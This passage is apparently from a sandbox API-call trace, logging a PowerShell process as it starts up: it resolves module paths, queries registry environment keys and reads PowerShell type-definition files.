lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.709] GetLastError () returned 0x3 [0059.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.709] GetLastError () returned 0x3 [0059.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.709] GetLastError () returned 0x3 [0059.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.710] GetLastError () returned 0x3 [0059.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.710] GetLastError () returned 0x3 [0059.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.710] GetLastError () returned 0x3 [0059.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.710] GetLastError () returned 0x3 [0059.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.710] GetLastError () returned 0x3 [0059.723] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0059.723] GetLastError () returned 0x3 [0059.736] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x257278, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0059.736] GetLastError () returned 0x3 [0059.736] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e8a0 | out: phkResult=0x14e8a0*=0x348) returned 0x0 [0059.737] RegQueryValueExW (in: hKey=0x348, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x14e8e4, lpData=0x0, lpcbData=0x14e8e0*=0x0 | out: lpType=0x14e8e4*=0x2, lpData=0x0, lpcbData=0x14e8e0*=0x6c) returned 0x0 [0059.738] RegQueryValueExW (in: hKey=0x348, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x14e8e4, lpData=0x257278, lpcbData=0x14e8e0*=0x6c | out: lpType=0x14e8e4*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x14e8e0*=0x6c) returned 0x0 [0059.738] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x257278, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0059.738] GetLastError () returned 0x3 [0059.738] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x257278, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0059.738] GetLastError () returned 0x3 [0059.739] RegCloseKey (hKey=0x348) returned 0x0 [0059.739] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x257278, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0059.739] GetLastError () returned 0x3 [0059.739] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e8a0 | out: phkResult=0x14e8a0*=0x348) returned 0x0 [0059.739] RegQueryValueExW (in: hKey=0x348, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x14e8e4, lpData=0x0, lpcbData=0x14e8e0*=0x0 | out: lpType=0x14e8e4*=0x0, lpData=0x0, lpcbData=0x14e8e0*=0x0) returned 0x2 [0059.740] RegCloseKey (hKey=0x348) returned 0x0 [0059.752] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x257278 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0059.753] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x14e408, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0059.753] GetLastError () returned 0x3f0 [0059.755] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0059.755] GetLastError () returned 0x3f0 [0059.768] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e820 | out: phkResult=0x14e820*=0x350) returned 0x0 [0059.769] RegQueryValueExW (in: hKey=0x350, lpValueName="path", lpReserved=0x0, lpType=0x14e888, lpData=0x0, lpcbData=0x14e884*=0x0 | out: lpType=0x14e888*=0x1, lpData=0x0, lpcbData=0x14e884*=0x74) returned 0x0 [0059.770] RegQueryValueExW (in: hKey=0x350, lpValueName="path", lpReserved=0x0, lpType=0x14e868, lpData=0x0, lpcbData=0x14e864*=0x0 | out: lpType=0x14e868*=0x1, lpData=0x0, lpcbData=0x14e864*=0x74) returned 0x0 [0059.770] RegQueryValueExW (in: hKey=0x350, lpValueName="path", lpReserved=0x0, lpType=0x14e868, lpData=0x257278, lpcbData=0x14e864*=0x74 | out: lpType=0x14e868*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x14e864*=0x74) returned 0x0 [0059.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x14e3e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0059.770] GetLastError () returned 0xcb [0059.770] SetErrorMode (uMode=0x1) returned 0x1 [0059.770] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x14e868 | out: lpFileInformation=0x14e868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0059.770] GetLastError () returned 0xcb [0059.770] SetErrorMode (uMode=0x1) returned 0x1 [0059.771] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0059.771] GetLastError () returned 0xcb [0059.771] SetErrorMode (uMode=0x1) returned 0x1 [0059.771] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e85c | out: lpFileInformation=0x14e85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0059.772] GetLastError () returned 0xcb [0059.772] SetErrorMode (uMode=0x1) returned 0x1 [0059.774] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0059.774] GetLastError () returned 0xcb [0059.774] SetErrorMode (uMode=0x1) returned 0x1 [0059.774] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e85c | out: lpFileInformation=0x14e85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0059.775] GetLastError () returned 0xcb [0059.775] SetErrorMode (uMode=0x1) returned 0x1 [0059.778] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.778] GetLastError () returned 0xcb [0059.779] GetACP () returned 0x4e4 [0059.790] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e26c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0059.790] GetLastError () returned 0x0 [0059.790] SetErrorMode (uMode=0x1) returned 0x1 [0059.792] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0059.792] GetLastError () returned 0x0 [0059.793] GetFileType (hFile=0x354) returned 0x1 [0059.793] SetErrorMode (uMode=0x1) returned 0x1 [0059.793] GetFileType (hFile=0x354) returned 0x1 [0059.795] ReadFile (in: hFile=0x354, lpBuffer=0x2b20570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b20570*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.797] GetLastError () returned 0x0 [0059.798] ReadFile (in: hFile=0x354, lpBuffer=0x2b20570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b20570*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.798] GetLastError () returned 0x0 [0059.798] ReadFile (in: hFile=0x354, lpBuffer=0x2b20570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b20570*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.798] GetLastError () returned 0x0 [0059.799] ReadFile (in: hFile=0x354, lpBuffer=0x2b20570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b20570*, lpNumberOfBytesRead=0x14e7d4*=0xcf3, lpOverlapped=0x0) returned 1 [0059.799] GetLastError () returned 0x0 [0059.799] ReadFile (in: hFile=0x354, lpBuffer=0x2b1fa03, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b1fa03*, lpNumberOfBytesRead=0x14e7d4*=0x0, lpOverlapped=0x0) returned 1 [0059.799] GetLastError () returned 0x0 [0059.799] ReadFile (in: hFile=0x354, lpBuffer=0x2b20570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b20570*, lpNumberOfBytesRead=0x14e7d4*=0x0, lpOverlapped=0x0) returned 1 [0059.799] GetLastError () returned 0x0 [0059.800] CloseHandle (hObject=0x354) returned 1 [0059.800] GetLastError () returned 0x0 [0059.801] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e334, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0059.801] GetLastError () returned 0x0 [0059.801] SetErrorMode (uMode=0x1) returned 0x1 [0059.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2b318e4 | out: lpFileInformation=0x2b318e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0059.801] GetLastError () returned 0x0 [0059.801] SetErrorMode (uMode=0x1) returned 0x1 [0059.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0059.803] GetLastError () returned 0x0 [0059.803] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e758 | out: phkResult=0x14e758*=0x354) returned 0x0 [0059.803] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e7a0, lpData=0x0, lpcbData=0x14e79c*=0x0 | out: lpType=0x14e7a0*=0x1, lpData=0x0, lpcbData=0x14e79c*=0x56) returned 0x0 [0059.803] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e7a0, lpData=0x257278, lpcbData=0x14e79c*=0x56 | out: lpType=0x14e7a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e79c*=0x56) returned 0x0 [0059.803] RegCloseKey (hKey=0x354) returned 0x0 [0059.804] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0059.804] GetLastError () returned 0x0 [0059.804] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e294, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0059.804] GetLastError () returned 0x0 [0059.845] GetSystemInfo (in: lpSystemInfo=0x14ded8 | out: lpSystemInfo=0x14ded8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0059.845] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e26c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0059.981] GetLastError () returned 0x0 [0059.981] SetErrorMode (uMode=0x1) returned 0x1 [0059.982] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0059.982] GetLastError () returned 0x0 [0059.982] GetFileType (hFile=0x354) returned 0x1 [0059.982] SetErrorMode (uMode=0x1) returned 0x1 [0059.982] GetFileType (hFile=0x354) returned 0x1 [0059.982] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.984] GetLastError () returned 0x0 [0059.984] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.985] GetLastError () returned 0x0 [0059.985] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.985] GetLastError () returned 0x0 [0059.985] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.986] GetLastError () returned 0x0 [0059.986] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.986] GetLastError () returned 0x0 [0059.987] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.987] GetLastError () returned 0x0 [0059.987] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.987] GetLastError () returned 0x0 [0059.987] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.987] GetLastError () returned 0x0 [0059.987] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.987] GetLastError () returned 0x0 [0059.988] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.988] GetLastError () returned 0x0 [0059.988] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.988] GetLastError () returned 0x0 [0059.989] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.989] GetLastError () returned 0x0 [0059.989] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.989] GetLastError () returned 0x0 [0059.989] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.989] GetLastError () returned 0x0 [0059.989] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.989] GetLastError () returned 0x0 [0059.989] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.989] GetLastError () returned 0x0 [0059.990] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.990] GetLastError () returned 0x0 [0059.992] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.992] GetLastError () returned 0x0 [0059.992] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.992] GetLastError () returned 0x0 [0059.992] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.992] GetLastError () returned 0x0 [0059.992] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.992] GetLastError () returned 0x0 [0059.993] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.993] GetLastError () returned 0x0 [0059.993] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.993] GetLastError () returned 0x0 [0059.993] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.993] GetLastError () returned 0x0 [0059.993] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.993] GetLastError () returned 0x0 [0059.993] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.994] GetLastError () returned 0x0 [0059.994] ReadFile (in: 